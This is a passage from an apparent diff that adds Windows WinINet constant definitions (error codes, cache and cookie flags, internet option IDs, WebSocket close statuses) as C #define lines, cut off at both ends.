ERROR_INTERNET_REDIRECT_SCHEME_CHANGE 0x2f10 +#define ERROR_INTERNET_DIALOG_PENDING 0x2f11 +#define ERROR_INTERNET_RETRY_DIALOG 0x2f12 +#define ERROR_INTERNET_HTTPS_HTTP_SUBMIT_REDIR 0x2f14 +#define ERROR_INTERNET_INSERT_CDROM 0x2f15 +#define ERROR_INTERNET_FORTEZZA_LOGIN_NEEDED 0x2f16 +#define ERROR_INTERNET_SEC_CERT_ERRORS 0x2f17 +#define ERROR_INTERNET_SEC_CERT_NO_REV 0x2f18 +#define ERROR_INTERNET_SEC_CERT_REV_FAILED 0x2f19 +#define ERROR_HTTP_HSTS_REDIRECT_REQUIRED 0x2f1c +#define ERROR_INTERNET_SEC_CERT_WEAK_SIGNATURE 0x2f1e +#define ERROR_FTP_TRANSFER_IN_PROGRESS 0x2f4e +#define ERROR_FTP_DROPPED 0x2f4f +#define ERROR_FTP_NO_PASSIVE_MODE 0x2f50 +#define ERROR_GOPHER_PROTOCOL_ERROR 0x2f62 +#define ERROR_GOPHER_NOT_FILE 0x2f63 +#define ERROR_GOPHER_DATA_ERROR 0x2f64 +#define ERROR_GOPHER_END_OF_DATA 0x2f65 +#define ERROR_GOPHER_INVALID_LOCATOR 0x2f66 +#define ERROR_GOPHER_INCORRECT_LOCATOR_TYPE 0x2f67 +#define ERROR_GOPHER_NOT_GOPHER_PLUS 0x2f68 +#define ERROR_GOPHER_ATTRIBUTE_NOT_FOUND 0x2f69 +#define ERROR_GOPHER_UNKNOWN_LOCATOR 0x2f6a +#define ERROR_HTTP_HEADER_NOT_FOUND 0x2f76 +#define ERROR_HTTP_DOWNLEVEL_SERVER 0x2f77 +#define ERROR_HTTP_INVALID_SERVER_RESPONSE 0x2f78 +#define ERROR_HTTP_INVALID_HEADER 0x2f79 +#define ERROR_HTTP_INVALID_QUERY_REQUEST 0x2f7a +#define ERROR_HTTP_HEADER_ALREADY_EXISTS 0x2f7b +#define ERROR_HTTP_REDIRECT_FAILED 0x2f7c +#define ERROR_HTTP_NOT_REDIRECTED 0x2f80 +#define ERROR_HTTP_COOKIE_NEEDS_CONFIRMATION 0x2f81 +#define ERROR_HTTP_COOKIE_DECLINED 0x2f82 +#define ERROR_HTTP_REDIRECT_NEEDS_CONFIRMATION 0x2f88 +#define ERROR_INTERNET_SECURITY_CHANNEL_ERROR 0x2f7d +#define ERROR_INTERNET_UNABLE_TO_CACHE_FILE 0x2f7e +#define ERROR_INTERNET_TCPIP_NOT_INSTALLED 0x2f7f +#define ERROR_INTERNET_DISCONNECTED 0x2f83 +#define ERROR_INTERNET_SERVER_UNREACHABLE 0x2f84 +#define ERROR_INTERNET_PROXY_SERVER_UNREACHABLE 0x2f85 +#define ERROR_INTERNET_BAD_AUTO_PROXY_SCRIPT 0x2f86 +#define ERROR_INTERNET_UNABLE_TO_DOWNLOAD_SCRIPT 0x2f87 +#define ERROR_INTERNET_SEC_INVALID_CERT 0x2f89 +#define ERROR_INTERNET_SEC_CERT_REVOKED 0x2f8a +#define ERROR_INTERNET_FAILED_DUETOSECURITYCHECK 0x2f8b +#define ERROR_INTERNET_NOT_INITIALIZED 0x2f8c +#define ERROR_INTERNET_NEED_MSN_SSPI_PKG 0x2f8d +#define ERROR_INTERNET_LOGIN_FAILURE_DISPLAY_ENTITY_BODY 0x2f8e +#define ERROR_INTERNET_DECODING_FAILED 0x2f8f +#define ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED_PROXY 0x2f9b +#define ERROR_INTERNET_SECURE_FAILURE_PROXY 0x2f9c +#define ERROR_INTERNET_HTTP_PROTOCOL_MISMATCH 0x2f9e +#define ERROR_INTERNET_GLOBAL_CALLBACK_FAILED 0x2f9f +#define ERROR_INTERNET_FEATURE_DISABLED 0x2fa0 +#define INTERNET_ERROR_LAST 0x2fa0 +#define NORMAL_CACHE_ENTRY 0x1 +#define STICKY_CACHE_ENTRY 0x4 +#define EDITED_CACHE_ENTRY 0x8 +#define TRACK_OFFLINE_CACHE_ENTRY 0x10 +#define TRACK_ONLINE_CACHE_ENTRY 0x20 +#define SPARSE_CACHE_ENTRY 0x10000 +#define COOKIE_CACHE_ENTRY 0x100000 +#define URLHISTORY_CACHE_ENTRY 0x200000 +#define CACHEGROUP_ATTRIBUTE_GET_ALL 0xffffffff +#define CACHEGROUP_ATTRIBUTE_BASIC 0x1 +#define CACHEGROUP_ATTRIBUTE_FLAG 0x2 +#define CACHEGROUP_ATTRIBUTE_TYPE 0x4 +#define CACHEGROUP_ATTRIBUTE_QUOTA 0x8 +#define CACHEGROUP_ATTRIBUTE_GROUPNAME 0x10 +#define CACHEGROUP_ATTRIBUTE_STORAGE 0x20 +#define CACHEGROUP_FLAG_NONPURGEABLE 0x1 +#define CACHEGROUP_FLAG_GIDONLY 0x4 +#define CACHEGROUP_FLAG_FLUSHURL_ONDELETE 0x2 +#define CACHEGROUP_SEARCH_ALL 0x0 +#define CACHEGROUP_SEARCH_BYURL 0x1 +#define CACHEGROUP_TYPE_INVALID 0x1 +#define GROUPNAME_MAX_LENGTH 0x78 +#define GROUP_OWNER_STORAGE_SIZE 0x4 +#define CACHE_ENTRY_ATTRIBUTE_FC 0x4 +#define CACHE_ENTRY_HITRATE_FC 0x10 +#define CACHE_ENTRY_MODTIME_FC 0x40 +#define CACHE_ENTRY_EXPTIME_FC 0x80 +#define CACHE_ENTRY_ACCTIME_FC 0x100 +#define CACHE_ENTRY_SYNCTIME_FC 0x200 +#define CACHE_ENTRY_HEADERINFO_FC 0x400 +#define CACHE_ENTRY_EXEMPT_DELTA_FC 0x800 +#define INTERNET_CACHE_GROUP_ADD 0x0 +#define INTERNET_CACHE_GROUP_REMOVE 0x1 +#define INTERNET_DIAL_FORCE_PROMPT 0x2000 +#define INTERNET_DIAL_SHOW_OFFLINE 0x4000 +#define INTERNET_DIAL_UNATTENDED 0x8000 +#define INTERENT_GOONLINE_REFRESH 0x1 +#define INTERENT_GOONLINE_NOPROMPT 0x2 +#define INTERENT_GOONLINE_MASK 0x3 +#define INTERNET_CUSTOMDIAL_CONNECT 0x0 +#define INTERNET_CUSTOMDIAL_UNATTENDED 0x1 +#define INTERNET_CUSTOMDIAL_DISCONNECT 0x2 +#define INTERNET_CUSTOMDIAL_SHOWOFFLINE 0x4 +#define INTERNET_CUSTOMDIAL_SAFE_FOR_UNATTENDED 0x1 +#define INTERNET_CUSTOMDIAL_WILL_SUPPLY_STATE 0x2 +#define INTERNET_CUSTOMDIAL_CAN_HANGUP 0x4 +#define INTERNET_DIALSTATE_DISCONNECTED 0x1 +#define INTERNET_IDENTITY_FLAG_PRIVATE_CACHE 0x1 +#define INTERNET_IDENTITY_FLAG_SHARED_CACHE 0x2 +#define INTERNET_IDENTITY_FLAG_CLEAR_DATA 0x4 +#define INTERNET_IDENTITY_FLAG_CLEAR_COOKIES 0x8 +#define INTERNET_IDENTITY_FLAG_CLEAR_HISTORY 0x10 +#define INTERNET_IDENTITY_FLAG_CLEAR_CONTENT 0x20 +#define INTERNET_SUPPRESS_RESET_ALL 0x0 +#define INTERNET_SUPPRESS_COOKIE_POLICY 0x1 +#define INTERNET_SUPPRESS_COOKIE_POLICY_RESET 0x2 +#define PRIVACY_TEMPLATE_NO_COOKIES 0x0 +#define PRIVACY_TEMPLATE_HIGH 0x1 +#define PRIVACY_TEMPLATE_MEDIUM_HIGH 0x2 +#define PRIVACY_TEMPLATE_MEDIUM 0x3 +#define PRIVACY_TEMPLATE_MEDIUM_LOW 0x4 +#define PRIVACY_TEMPLATE_LOW 0x5 +#define PRIVACY_TEMPLATE_CUSTOM 0x64 +#define PRIVACY_TEMPLATE_ADVANCED 0x65 +#define PRIVACY_TEMPLATE_MAX 0x5 +#define PRIVACY_TYPE_FIRST_PARTY 0x0 +#define PRIVACY_TYPE_THIRD_PARTY 0x1 +#define MAX_CACHE_ENTRY_INFO_SIZE 0x1000 +#define INTERNET_REQFLAG_FROM_APP_CACHE 0x100 +#define INTERNET_FLAG_BGUPDATE 0x8 +#define INTERNET_FLAG_FTP_FOLDER_VIEW 0x4 +#define INTERNET_PREFETCH_PROGRESS 0x0 +#define INTERNET_PREFETCH_COMPLETE 0x1 +#define INTERNET_PREFETCH_ABORTED 0x2 +#define ISO_FORCE_OFFLINE 0x1 +#define DLG_FLAGS_INVALID_CA 0x1000000 +#define DLG_FLAGS_SEC_CERT_CN_INVALID 0x2000000 +#define DLG_FLAGS_SEC_CERT_DATE_INVALID 0x4000000 +#define DLG_FLAGS_WEAK_SIGNATURE 0x200000 +#define DLG_FLAGS_INSECURE_FALLBACK 0x400000 +#define DLG_FLAGS_SEC_CERT_REV_FAILED 0x800000 +#define INTERNET_SERVICE_URL 0x0 +#define INTERNET_OPTION_CONTEXT_VALUE_OLD 0xa +#define INTERNET_OPTION_NET_SPEED 0x3d +#define INTERNET_OPTION_SECURITY_CONNECTION_INFO 0x42 +#define INTERNET_OPTION_DETECT_POST_SEND 0x47 +#define INTERNET_OPTION_DISABLE_NTLM_PREAUTH 0x48 +#define INTERNET_OPTION_ORIGINAL_CONNECT_FLAGS 0x61 +#define INTERNET_OPTION_CERT_ERROR_FLAGS 0x62 +#define INTERNET_OPTION_IGNORE_CERT_ERROR_FLAGS 0x63 +#define INTERNET_OPTION_SESSION_START_TIME 0x6a +#define INTERNET_OPTION_PROXY_CREDENTIALS 0x6b +#define INTERNET_OPTION_EXTENDED_CALLBACKS 0x6c +#define INTERNET_OPTION_PROXY_FROM_REQUEST 0x6d +#define INTERNET_OPTION_ALLOW_FAILED_CONNECT_CONTENT 0x6e +#define INTERNET_OPTION_CACHE_PARTITION 0x6f +#define INTERNET_OPTION_AUTODIAL_HWND 0x70 +#define INTERNET_OPTION_SERVER_CREDENTIALS 0x71 +#define INTERNET_OPTION_WPAD_SLEEP 0x72 +#define INTERNET_OPTION_FAIL_ON_CACHE_WRITE_ERROR 0x73 +#define INTERNET_OPTION_DOWNLOAD_MODE 0x74 +#define INTERNET_OPTION_RESPONSE_RESUMABLE 0x75 +#define INTERNET_OPTION_CM_HANDLE_COPY_REF 0x76 +#define INTERNET_OPTION_CONNECTION_INFO 0x78 +#define INTERNET_OPTION_BACKGROUND_CONNECTIONS 0x79 +#define INTERNET_OPTION_DO_NOT_TRACK 0x7b +#define INTERNET_OPTION_USE_MODIFIED_HEADER_FILTER 0x7c +#define INTERNET_OPTION_WWA_MODE 0x7d +#define INTERNET_OPTION_UPGRADE_TO_WEB_SOCKET 0x7e +#define INTERNET_OPTION_WEB_SOCKET_KEEPALIVE_INTERVAL 0x7f +#define INTERNET_OPTION_UNLOAD_NOTIFY_EVENT 0x80 +#define INTERNET_OPTION_SOCKET_NODELAY 0x81 +#define INTERNET_OPTION_APP_CACHE 0x82 +#define INTERNET_OPTION_DEPENDENCY_HANDLE 0x83 +#define INTERNET_OPTION_USE_FIRST_AVAILABLE_CONNECTION 0x84 +#define INTERNET_OPTION_TIMED_CONNECTION_LIMIT_BYPASS 0x85 +#define INTERNET_OPTION_WEB_SOCKET_CLOSE_TIMEOUT 0x86 +#define INTERNET_OPTION_FLUSH_STATE 0x87 +#define INTERNET_OPTION_DISALLOW_PREMATURE_EOF 0x89 +#define INTERNET_OPTION_SOCKET_NOTIFICATION_IOCTL 0x8a +#define INTERNET_OPTION_CACHE_ENTRY_EXTRA_DATA 0x8b +#define INTERNET_OPTION_MAX_QUERY_BUFFER_SIZE 0x8c +#define INTERNET_OPTION_FALSE_START 0x8d +#define INTERNET_OPTION_USER_PASS_SERVER_ONLY 0x8e +#define INTERNET_OPTION_SERVER_AUTH_SCHEME 0x8f +#define INTERNET_OPTION_PROXY_AUTH_SCHEME 0x90 +#define INTERNET_OPTION_TUNNEL_ONLY 0x91 +#define INTERNET_OPTION_SOURCE_PORT 0x92 +#define INTERNET_OPTION_ENABLE_DUO 0x94 +#define INTERNET_OPTION_DUO_USED 0x95 +#define INTERNET_OPTION_CHUNK_ENCODE_REQUEST 0x96 +#define INTERNET_OPTION_SECURE_FAILURE 0x97 +#define INTERNET_OPTION_NOTIFY_SENDING_COOKIE 0x98 +#define INTERNET_OPTION_CLIENT_CERT_ISSUER_LIST 0x99 +#define INTERNET_OPTION_RESET 0x9a +#define INTERNET_OPTION_SERVER_ADDRESS_INFO 0x9c +#define INTERNET_OPTION_ENABLE_WBOEXT 0x9e +#define INTERNET_OPTION_DISABLE_INSECURE_FALLBACK 0xa0 +#define INTERNET_OPTION_ALLOW_INSECURE_FALLBACK 0xa1 +#define INTERNET_OPTION_SET_IN_PRIVATE 0xa4 +#define INTERNET_OPTION_DOWNLOAD_MODE_HANDLE 0xa5 +#define INTERNET_OPTION_EDGE_COOKIES 0xa6 +#define INTERNET_OPTION_NO_HTTP_SERVER_AUTH 0xa7 +#define INTERNET_OPTION_ENABLE_HEADER_CALLBACKS 0xa8 +#define INTERNET_OPTION_PRESERVE_REQUEST_SERVER_CREDENTIALS_ON_REDIRECT 0xa9 +#define INTERNET_OPTION_PRESERVE_REFERER_ON_HTTPS_TO_HTTP_REDIRECT 0xaa +#define INTERNET_OPTION_TCP_FAST_OPEN 0xab +#define INTERNET_OPTION_SYNC_MODE_AUTOMATIC_SESSION_DISABLED 0xac +#define INTERNET_OPTION_ENABLE_ZLIB_DEFLATE 0xad +#define INTERNET_OPTION_ENCODE_FALLBACK_FOR_REDIRECT_URI 0xae +#define INTERNET_OPTION_EDGE_COOKIES_TEMP 0xaf +#define INTERNET_OPTION_OPT_IN_WEAK_SIGNATURE 0xb0 +#define INTERNET_OPTION_PARSE_LINE_FOLDING 0xb1 +#define INTERNET_OPTION_FORCE_DECODE 0xb2 +#define INTERNET_OPTION_COOKIES_APPLY_HOST_ONLY 0xb3 +#define INTERNET_OPTION_EDGE_MODE 0xb4 +#define INTERNET_OPTION_CANCEL_CACHE_WRITE 0xb6 +#define INTERNET_OPTION_AUTH_SCHEME_SELECTED 0xb7 +#define INTERNET_OPTION_NOCACHE_WRITE_IN_PRIVATE 0xb8 +#define INTERNET_OPTION_ACTIVITY_ID 0xb9 +#define INTERNET_OPTION_REQUEST_TIMES 0xba +#define INTERNET_OPTION_GLOBAL_CALLBACK 0xbc +#define INTERNET_OPTION_ENABLE_TEST_SIGNING 0xbd +#define INTERNET_OPTION_DISABLE_PROXY_LINK_LOCAL_NAME_RESOLUTION 0xbe +#define INTERNET_OPTION_HTTP_09 0xbf +#define INTERNET_OPTION_CALLER_MODULE 0xc0 +#define INTERNET_LAST_OPTION_INTERNAL 0xc1 +#define INTERNET_OPTION_OFFLINE_TIMEOUT 0x31 +#define INTERNET_OPTION_LINE_STATE 0x32 +#define DUO_PROTOCOL_FLAG_SPDY3 0x1 +#define DUO_PROTOCOL_MASK 0x1 +#define AUTH_FLAG_RESET 0x0 +#define INTERNET_AUTH_SCHEME_BASIC 0x0 +#define INTERNET_AUTH_SCHEME_DIGEST 0x1 +#define INTERNET_AUTH_SCHEME_NTLM 0x2 +#define INTERNET_AUTH_SCHEME_KERBEROS 0x3 +#define INTERNET_AUTH_SCHEME_NEGOTIATE 0x4 +#define INTERNET_AUTH_SCHEME_PASSPORT 0x5 +#define INTERNET_AUTH_SCHEME_UNKNOWN 0x6 +#define INTERNET_STATUS_SENDING_COOKIE 0x148 +#define INTERNET_STATUS_REQUEST_HEADERS_SET 0x149 +#define INTERNET_STATUS_RESPONSE_HEADERS_SET 0x14a +#define INTERNET_STATUS_PROXY_CREDENTIALS 0x190 +#define INTERNET_STATUS_SERVER_CREDENTIALS 0x191 +#define INTERNET_STATUS_SERVER_CONNECTION_STATE 0x19a +#define INTERNET_STATUS_END_BROWSER_SESSION 0x1a4 +#define INTERNET_STATUS_COOKIE 0x1ae +#define COOKIE_STATE_LB 0x0 +#define COOKIE_STATE_UB 0x5 +#define MaxPrivacySettings 0x4000 +#define INTERNET_STATUS_FILTER_RESOLVING 0x1 +#define INTERNET_STATUS_FILTER_RESOLVED 0x2 +#define INTERNET_STATUS_FILTER_CONNECTING 0x4 +#define INTERNET_STATUS_FILTER_CONNECTED 0x8 +#define INTERNET_STATUS_FILTER_SENDING 0x10 +#define INTERNET_STATUS_FILTER_SENT 0x20 +#define INTERNET_STATUS_FILTER_RECEIVING 0x40 +#define INTERNET_STATUS_FILTER_RECEIVED 0x80 +#define INTERNET_STATUS_FILTER_CLOSING 0x100 +#define INTERNET_STATUS_FILTER_CLOSED 0x200 +#define INTERNET_STATUS_FILTER_HANDLE_CREATED 0x400 +#define INTERNET_STATUS_FILTER_HANDLE_CLOSING 0x800 +#define INTERNET_STATUS_FILTER_PREFETCH 0x1000 +#define INTERNET_STATUS_FILTER_REDIRECT 0x2000 +#define INTERNET_STATUS_FILTER_STATE_CHANGE 0x4000 +#define HTTP_ADDREQ_FLAG_RESPONSE_HEADERS 0x2000000 +#define HTTP_ADDREQ_FLAG_ALLOW_EMPTY_VALUES 0x4000000 +#define COOKIE_DONT_ALLOW 0x1 +#define COOKIE_ALLOW 0x2 +#define COOKIE_ALLOW_ALL 0x4 +#define COOKIE_DONT_ALLOW_ALL 0x8 +#define COOKIE_OP_SET 0x1 +#define COOKIE_OP_MODIFY 0x2 +#define COOKIE_OP_GET 0x4 +#define COOKIE_OP_SESSION 0x8 +#define COOKIE_OP_PERSISTENT 0x10 +#define COOKIE_OP_3RD_PARTY 0x20 +#define INTERNET_COOKIE_PERSISTENT_HOST_ONLY 0x10000 +#define INTERNET_COOKIE_RESTRICTED_ZONE 0x20000 +#define INTERNET_COOKIE_EDGE_COOKIES 0x40000 +#define INTERNET_COOKIE_ALL_COOKIES 0x20000000 +#define INTERNET_COOKIE_NO_CALLBACK 0x40000000 +#define INTERNET_COOKIE_ECTX_3RDPARTY 0x80000000 +#define FLAGS_ERROR_UI_SHOW_IDN_HOSTNAME 0x20 +#define ERROR_INTERNET_NO_NEW_CONTAINERS 0x2f13 +#define ERROR_INTERNET_SOURCE_PORT_IN_USE 0x2f1a +#define ERROR_INTERNET_INSECURE_FALLBACK_REQUIRED 0x2f1b +#define ERROR_INTERNET_PROXY_ALERT 0x2f1d +#define ERROR_INTERNET_NO_CM_CONNECTION 0x2f30 +#define ERROR_HTTP_PUSH_STATUS_CODE_NOT_SUPPORTED 0x2f73 +#define ERROR_HTTP_PUSH_RETRY_NOT_SUPPORTED 0x2f74 +#define ERROR_HTTP_PUSH_ENABLE_FAILED 0x2f75 +#define ERROR_INTERNET_DISALLOW_INPRIVATE 0x2f9d +#define ERROR_INTERNET_OFFLINE 0x2f83 +#define INTERNET_INTERNAL_ERROR_BASE 0x3264 +#define ERROR_INTERNET_INTERNAL_SOCKET_ERROR 0x3265 +#define ERROR_INTERNET_CONNECTION_AVAILABLE 0x3266 +#define ERROR_INTERNET_NO_KNOWN_SERVERS 0x3267 +#define ERROR_INTERNET_PING_FAILED 0x3268 +#define ERROR_INTERNET_NO_PING_SUPPORT 0x3269 +#define ERROR_INTERNET_CACHE_SUCCESS 0x326a +#define ERROR_HTTP_COOKIE_NEEDS_CONFIRMATION_EX 0x326b +#define HTTP_1_1_CACHE_ENTRY 0x40 +#define STATIC_CACHE_ENTRY 0x80 +#define MUST_REVALIDATE_CACHE_ENTRY 0x100 +#define SHORTPATH_CACHE_ENTRY 0x200 +#define DOWNLOAD_CACHE_ENTRY 0x400 +#define REDIRECT_CACHE_ENTRY 0x800 +#define COOKIE_ACCEPTED_CACHE_ENTRY 0x1000 +#define COOKIE_LEASHED_CACHE_ENTRY 0x2000 +#define COOKIE_DOWNGRADED_CACHE_ENTRY 0x4000 +#define COOKIE_REJECTED_CACHE_ENTRY 0x8000 +#define PRIVACY_MODE_CACHE_ENTRY 0x20000 +#define XDR_CACHE_ENTRY 0x40000 +#define IMMUTABLE_CACHE_ENTRY 0x80000 +#define PENDING_DELETE_CACHE_ENTRY 0x400000 +#define OTHER_USER_CACHE_ENTRY 0x800000 +#define PRIVACY_IMPACTED_CACHE_ENTRY 0x2000000 +#define POST_RESPONSE_CACHE_ENTRY 0x4000000 +#define INSTALLED_CACHE_ENTRY 0x10000000 +#define POST_CHECK_CACHE_ENTRY 0x20000000 +#define IDENTITY_CACHE_ENTRY 0x80000000 +#define ANY_CACHE_ENTRY 0xffffffff +#define CACHEGROUP_FLAG_VALID 0x7 +#define CACHEGROUP_ID_BUILTIN_STICKY 0x1000000000000007 +#define INTERNET_CACHE_FLAG_ALLOW_COLLISIONS 0x100 +#define INTERNET_CACHE_FLAG_INSTALLED_ENTRY 0x200 +#define INTERNET_CACHE_FLAG_ENTRY_OR_MAPPING 0x400 +#define INTERNET_CACHE_FLAG_ADD_FILENAME_ONLY 0x800 +#define INTERNET_CACHE_FLAG_GET_STRUCT_ONLY 0x1000 +#define CACHE_ENTRY_TYPE_FC 0x1000 +#define CACHE_ENTRY_MODIFY_DATA_FC 0x80000000 +#define INTERNET_CACHE_CONTAINER_NOSUBDIRS 0x1 +#define INTERNET_CACHE_CONTAINER_AUTODELETE 0x2 +#define INTERNET_CACHE_CONTAINER_RESERVED1 0x4 +#define INTERNET_CACHE_CONTAINER_NODESKTOPINIT 0x8 +#define INTERNET_CACHE_CONTAINER_MAP_ENABLED 0x10 +#define INTERNET_CACHE_CONTAINER_BLOOM_FILTER 0x20 +#define INTERNET_CACHE_CONTAINER_SHARE_READ 0x100 +#define INTERNET_CACHE_CONTAINER_SHARE_READ_WRITE 0x300 +#define CACHE_FIND_CONTAINER_RETURN_NOCHANGE 0x1 +#define CACHE_HEADER_DATA_CURRENT_SETTINGS_VERSION 0x0 +#define CACHE_HEADER_DATA_CONLIST_CHANGE_COUNT 0x1 +#define CACHE_HEADER_DATA_COOKIE_CHANGE_COUNT 0x2 +#define CACHE_HEADER_DATA_NOTIFICATION_HWND 0x3 +#define CACHE_HEADER_DATA_NOTIFICATION_MESG 0x4 +#define CACHE_HEADER_DATA_ROOTGROUP_OFFSET 0x5 +#define CACHE_HEADER_DATA_GID_LOW 0x6 +#define CACHE_HEADER_DATA_GID_HIGH 0x7 +#define CACHE_HEADER_DATA_LAST_SCAVENGE_TIMESTAMP 0x8 +#define CACHE_HEADER_DATA_CACHE_READ_COUNT_SINCE_LAST_SCAVENGE 0x9 +#define CACHE_HEADER_DATA_CACHE_WRITE_COUNT_SINCE_LAST_SCAVENGE 0xa +#define CACHE_HEADER_DATA_HSTS_CHANGE_COUNT 0xb +#define CACHE_HEADER_DATA_CACHE_RESERVED_12 0xc +#define CACHE_HEADER_DATA_CACHE_RESERVED_13 0xd +#define CACHE_HEADER_DATA_SSL_STATE_COUNT 0xe +#define CACHE_HEADER_DATA_DOWNLOAD_PARTIAL 0xe +#define CACHE_HEADER_DATA_CACHE_RESERVED_15 0xf +#define CACHE_HEADER_DATA_CACHE_RESERVED_16 0x10 +#define CACHE_HEADER_DATA_CACHE_RESERVED_17 0x11 +#define CACHE_HEADER_DATA_CACHE_RESERVED_18 0x12 +#define CACHE_HEADER_DATA_CACHE_RESERVED_19 0x13 +#define CACHE_HEADER_DATA_CACHE_RESERVED_20 0x14 +#define CACHE_HEADER_DATA_NOTIFICATION_FILTER 0x15 +#define CACHE_HEADER_DATA_ROOT_LEAK_OFFSET 0x16 +#define CACHE_HEADER_DATA_CACHE_RESERVED_23 0x17 +#define CACHE_HEADER_DATA_CACHE_RESERVED_24 0x18 +#define CACHE_HEADER_DATA_CACHE_RESERVED_25 0x19 +#define CACHE_HEADER_DATA_CACHE_RESERVED_26 0x1a +#define CACHE_HEADER_DATA_ROOT_GROUPLIST_OFFSET 0x1b +#define CACHE_HEADER_DATA_CACHE_RESERVED_28 0x1c +#define CACHE_HEADER_DATA_CACHE_RESERVED_29 0x1d +#define CACHE_HEADER_DATA_CACHE_RESERVED_30 0x1e +#define CACHE_HEADER_DATA_CACHE_RESERVED_31 0x1f +#define CACHE_HEADER_DATA_LAST 0x1f +#define CACHE_NOTIFY_ADD_URL 0x1 +#define CACHE_NOTIFY_DELETE_URL 0x2 +#define CACHE_NOTIFY_UPDATE_URL 0x4 +#define CACHE_NOTIFY_DELETE_ALL 0x8 +#define CACHE_NOTIFY_URL_SET_STICKY 0x10 +#define CACHE_NOTIFY_URL_UNSET_STICKY 0x20 +#define CACHE_NOTIFY_SET_ONLINE 0x100 +#define CACHE_NOTIFY_SET_OFFLINE 0x200 +#define CACHE_NOTIFY_FILTER_CHANGED 0x10000000 +#define APP_CACHE_LOOKUP_NO_MASTER_ONLY 0x1 +#define APP_CACHE_ENTRY_TYPE_MASTER 0x1 +#define APP_CACHE_ENTRY_TYPE_EXPLICIT 0x2 +#define APP_CACHE_ENTRY_TYPE_FALLBACK 0x4 +#define APP_CACHE_ENTRY_TYPE_FOREIGN 0x8 +#define APP_CACHE_ENTRY_TYPE_MANIFEST 0x10 +#define CACHE_CONFIG_CONTENT_QUOTA_FC 0x8000 +#define CACHE_CONFIG_TOTAL_CONTENT_QUOTA_FC 0x10000 +#define CACHE_CONFIG_APPCONTAINER_CONTENT_QUOTA_FC 0x20000 +#define CACHE_CONFIG_APPCONTAINER_TOTAL_CONTENT_QUOTA_FC 0x40000 +#define INTERNET_AUTOPROXY_INIT_DEFAULT 0x1 +#define INTERNET_AUTOPROXY_INIT_DOWNLOADSYNC 0x2 +#define INTERNET_AUTOPROXY_INIT_QUERYSTATE 0x4 +#define INTERNET_AUTOPROXY_INIT_ONLYQUERY 0x8 +// SKIPPED const REGSTR_DIAL_AUTOCONNECT: non-integer constant +// SKIPPED const REGSTR_LEASH_LEGACY_COOKIES: non-integer constant +// SKIPPED const LOCAL_NAMESPACE_PREFIX: non-integer constant +// SKIPPED const LOCAL_NAMESPACE_PREFIX_W: non-integer constant +#define INTERNET_SUPPRESS_COOKIE_PERSIST 0x3 +#define INTERNET_SUPPRESS_COOKIE_PERSIST_RESET 0x4 +#define HTTP_WEB_SOCKET_MAX_CLOSE_REASON_LENGTH 0x7b +#define HTTP_WEB_SOCKET_MIN_KEEPALIVE_VALUE 0x2710 +#define INTERNET_GLOBAL_CALLBACK_SENDING_HTTP_HEADERS 0x1 +#define INTERNET_GLOBAL_CALLBACK_DETECTING_PROXY 0x2 +#define AppCacheFinalizeStateIncomplete 0 +#define AppCacheFinalizeStateManifestChange 1 +#define AppCacheFinalizeStateComplete 2 +#define INTERNET_PER_CONN_AUTOCONFIG_URL 0x4 +#define INTERNET_PER_CONN_AUTODISCOVERY_FLAGS 0x5 +#define INTERNET_PER_CONN_FLAGS 0x1 +#define INTERNET_PER_CONN_PROXY_BYPASS 0x3 +#define INTERNET_PER_CONN_PROXY_SERVER 0x2 +#define INTERNET_PER_CONN_AUTOCONFIG_SECONDARY_URL 0x6 +#define INTERNET_PER_CONN_AUTOCONFIG_RELOAD_DELAY_MINS 0x7 +#define INTERNET_PER_CONN_AUTOCONFIG_LAST_DETECT_TIME 0x8 +#define INTERNET_PER_CONN_AUTOCONFIG_LAST_DETECT_URL 0x9 +#define INTERNET_AUTODIAL_FAILIFSECURITYCHECK 0x4 +#define INTERNET_AUTODIAL_FORCE_ONLINE 0x1 +#define INTERNET_AUTODIAL_FORCE_UNATTENDED 0x2 +#define INTERNET_AUTODIAL_OVERRIDE_NET_PRESENT 0x8 +#define HTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS 1000 +#define HTTP_WEB_SOCKET_ENDPOINT_TERMINATED_CLOSE_STATUS 1001 +#define HTTP_WEB_SOCKET_PROTOCOL_ERROR_CLOSE_STATUS 1002 +#define HTTP_WEB_SOCKET_INVALID_DATA_TYPE_CLOSE_STATUS 1003 +#define HTTP_WEB_SOCKET_EMPTY_CLOSE_STATUS 1005 +#define HTTP_WEB_SOCKET_ABORTED_CLOSE_STATUS 1006 +#define HTTP_WEB_SOCKET_INVALID_PAYLOAD_CLOSE_STATUS 1007 +#define HTTP_WEB_SOCKET_POLICY_VIOLATION_CLOSE_STATUS 1008 +#define HTTP_WEB_SOCKET_MESSAGE_TOO_BIG_CLOSE_STATUS 1009 +#define HTTP_WEB_SOCKET_UNSUPPORTED_EXTENSIONS_CLOSE_STATUS 1010 +#define HTTP_WEB_SOCKET_SERVER_ERROR_CLOSE_STATUS 1011 +#define HTTP_WEB_SOCKET_SECURE_HANDSHAKE_ERROR_CLOSE_STATUS 1015 +#define UrlCacheLimitTypeIE 0 +#define UrlCacheLimitTypeIETotal 1 +#define UrlCacheLimitTypeAppContainer 2 +#define UrlCacheLimitTypeAppContainerTotal 3 +#define UrlCacheLimitTypeNum 4 +#define COOKIE_STATE_UNKNOWN 0 +#define COOKIE_STATE_ACCEPT 1 +#define COOKIE_STATE_PROMPT 2 +#define COOKIE_STATE_LEASH 3 +#define COOKIE_STATE_DOWNGRADE 4 +#define COOKIE_STATE_REJECT 5 +#define COOKIE_STATE_MAX 5 +#define HTTP_WEB_SOCKET_BINARY_MESSAGE_TYPE 0 +#define HTTP_WEB_SOCKET_BINARY_FRAGMENT_TYPE 1 +#define HTTP_WEB_SOCKET_UTF8_MESSAGE_TYPE 2 +#define HTTP_WEB_SOCKET_UTF8_FRAGMENT_TYPE 3 +#define HTTP_WEB_SOCKET_CLOSE_TYPE 4 +#define HTTP_WEB_SOCKET_PING_TYPE 5 +#define POLICY_EXTENSION_VERSION1 1 +#define FORTSTAT_INSTALLED 1 +#define FORTSTAT_LOGGEDON 2 +#define INTERNET_COOKIE_HTTPONLY 0x2000 +#define INTERNET_COOKIE_THIRD_PARTY 0x10 +#define INTERNET_FLAG_RESTRICTED_ZONE 0x20000 +#define WPAD_CACHE_DELETE_CURRENT 0 +#define WPAD_CACHE_DELETE_ALL 1 +#define HTTP_ADDREQ_FLAG_ADD 0x20000000 +#define HTTP_ADDREQ_FLAG_ADD_IF_NEW 0x10000000 +#define HTTP_ADDREQ_FLAG_COALESCE 